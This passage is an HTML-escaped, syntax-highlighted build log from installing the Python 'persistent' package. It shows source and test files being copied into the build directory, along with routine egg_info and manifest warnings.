  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mapping&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_compat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;picklecache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;wref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;egg_info&lt;/span&gt;
  &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;PKG&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;
  &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;dependency_links&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dependency_links&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
  &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;requirements&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;requires&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
  &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="n"&gt;names&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;egg&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;top_level&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
  &lt;span class="n"&gt;reading&lt;/span&gt; &lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent.egg-info/SOURCES.txt&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;reading&lt;/span&gt; &lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;MANIFEST.in&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;directories&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;terryfy&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.dll&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
  &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.pyc&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
  &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.pyo&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
  &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;*.so&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
  &lt;span class="n"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;coverage.xml&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;anywhere&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;distribution&lt;/span&gt;
  &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;directories&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;docs/_build&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;previously&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="n"&gt;directories&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="n"&gt;matching&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent/__pycache__&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;writing&lt;/span&gt; &lt;span class="n"&gt;manifest&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent.egg-info/SOURCES.txt&amp;#39;&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_compat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_timestamp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPickleCache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
  &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;attrhooks&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cucumbers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_docs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_list&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
  &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_mapping&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span 